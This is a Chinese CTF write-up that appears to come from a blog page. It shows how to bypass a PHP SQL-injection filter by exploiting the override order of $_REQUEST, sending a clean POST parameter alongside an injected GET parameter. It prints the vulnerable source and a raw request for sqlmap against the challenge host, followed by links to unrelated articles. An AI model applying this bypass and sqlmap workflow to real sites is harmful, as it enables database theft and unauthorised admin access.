php $_REQUEST写法防注入突破
扫描器扫到robots.txt ,访问:http://xxx.com/robots.txt
有一个admin,但访问需要输入账号和密码。
尝试访问: http://xxx.com/index.phps 。得到源代码如下:
- <?php
- require_once 'lib.php';
- header('X-XSS-Protection: 0');
- $cols = array(
- "e8c4-437b-9476",
- "849e-416e-acf7",
- "7f9d-470f-8698",
- "c8bb-4695-93f7",
- "5fbc-4729-8821",
- "3ad3-46c3-b975",
- "f44f-4cc9-a5e0",
- "0c3f-42c8-a0ae"
- );
- if(isset($_REQUEST['id'])){
- if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
- die("Attack detected!!!");
- }
- $ad = get_ad($_GET['id']);
- ?>
- <HTML>
- <HEAD>
- <TITLE>NAUGHTY ADS ©1994</TITLE>
- </HEAD>
- <BODY BGCOLOR="WHITE">
- <CENTER>
- <?php echo $ad['description'] ?><br />
- <a href="/">Home</a>
- </CENTER>
- </BODY>
- </HTML>
- <?php
- die;
- }
- ?>
对于 REQUEST[‘id′],进行了“严格”的正则匹配,不能正常的注出数据。接下来通过REQUEST[‘id′],进行了“严格”的正则匹配,不能正常的注出数据。接下来通过_GET[‘id’] 将其带入数据库中查询并返回结果给页面。
这里考察了一个知识。$_REQUEST变量默认情况下包含了 GET,GET,_POST 和 $_COOKIE 的数组。在 php.ini 配置文件中,有一个参数variables_order
其中几个字母(EGPCS)对应如下: Environment, Get, Post, Cookie, Server。这些字母的出现顺序,表明了数据的加载顺序。从三种默认配置来看,相对顺序均是GP
,也就是说只要有POST参数进来,那么它就会覆盖同名的GET参数。如下图;
所以就本题而言,如果在GET参数id处注入数据(比如 union select),而同时我们又通过POST方法传入一个id参数,那么服务器检测的是无害的POST数据,而在进行查询时带入的是有害的GET数据。
将如下数据包保存为test.txt,用sqlmap跑:
- POST /?id=* HTTP/1.1
- Host: naughtyads.alieni.se
- User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- DNT: 1
- Connection: close
- Upgrade-Insecure-Requests: 1
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 18
- id= 0c3f-42c8-a0ae
得到账号密码,登陆 http://xxxx.com/admin/ 在Phone number处填上555-31338,提交后得到flag:
php $_REQUEST写法防注入突破的更多相关文章
- (依赖注入框架:Ninject ) 一 手写依赖注入
什么是依赖注入? 这里有一个场景:战士拿着刀去战斗: 刀: class Sword { public void Hit(string target) { Console.WriteLine($&quo ...
- 远程线程注入突破SESSION 0
远程线程注入突破SESSION 0 SESSION 0 隔离 在Windows XP.Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Se ...
- SQL注入:突破关键字过滤
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败).回车的ascii ...
- [CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)
记一道布尔注入的题,存在过滤字符. 从题目看应该是一道注入题.提示存在flag表flag列. 输入1和2的返回结果不一样,可能是布尔注入. 简单用万能密码尝试了一下.提示SQL Injection C ...
- springboot 在配置文件写参数注入到类中
@Configuration//配置文件位置@PropertySource("classpath:city.properties")//前缀@ConfigurationProper ...
- SQL注入专题
SQL注入专题--整理帖 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被 ...
- Sqlmap注入技巧收集整理
TIP1 当我们注射的时候,判断注入 http://site/script?id=10http://site/script?id=11-1 # 相当于 id=10http://site/script? ...
- (非原)SQL注入专题--整理帖 && like 语句拼sql 如何防止注入攻击。
原地址:blog.csdn.net/lvjin110/article/details/28697695 like 语句拼sql 如何防止注入攻击?http://bbs.csdn.net/topics/ ...
- ASP.NET 5 单元测试中使用依赖注入
相关博文:<ASP.NET 5 使用 TestServer 进行单元测试> 在上一篇博文中,主要说的是,使用 TestServer 对 ASP.NET 5 WebApi 进行单元测试,依赖 ...
随机推荐
- Java Listener中Spring接口注入的使用
在项目中使用Spring通常使用他的依赖注入可以很好的处理,接口与实现类之间的耦合性,但是通常的应用场景中都是Service层和DAO层,或者web层的话, 也是与Strust2来整合,那么如何在Li ...
- C# 单元测试(入门)
注:本文示例环境 VS2017XUnit 2.2.0 单元测试框架xunit.runner.visualstudio 2.2.0 测试运行工具Moq 4.7.10 模拟框架 什么是单元测试? 确保软件 ...
- POJ 2656
#include<iostream> #include<stdio.h> using namespace std; int main() { //freopen("a ...
- windows 系统安装git的方法
windows 系统安装git的方法 msysgit是Windows版的Git,从https://git-for-windows.github.io下载 安装默认步骤,一步步安装即可 安装完成后,在开 ...
- odoo开发笔记-- 按钮动作跳转到其他列表视图默认搜索
按钮动作跳转到其他列表视图 按照默认指定的条件搜索显示. 效果: 实现方式:
- PHP:session无法使用
今天在将一套程序放到其他服务器上执行的时候,发现后台的登录验证码不管输入正确与否,总是显示: 验证码输入有误 接着就开始debug了. 因为正确的验证码结果已经经过加密之后保存在了session中,所 ...
- JAVA框架之Hibernate【Hibernate缓存详解】
1.缓存介绍 Hibernate中提供了两级Cache,第一级别的缓存是Session级别的缓存,它是属于事务范围的缓存.这一级别的缓存由hibernate管理的,一般情况下无需进行干预:第二级别的缓 ...
- CentOS 部署 Python3 的一些注意事项
环境:centos6.7https://github.com/vinta/awesome-pythonhttps://github.com/PyMySQL/PyMySQLhttps://github. ...
- 浏览器中F5和CTRL F5的行为区别及如何强制更新资源
一.浏览器中F5和CTRL F5的行为区别 我们直接来看效果,下面是我打开qq网页,分别使用F5和CTRL F5,我们来看区别. F5: CTRL F5: 区别: 首先直观上的区别是CTRL F5明显 ...
- 【JAVA SPRING】IOC与AOP
IOC(注入)有三种类型: 构造函数注入: 属性注入: 接口注入: JAVA反射: JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法: 对于任意一个对象,都能够调用它的 ...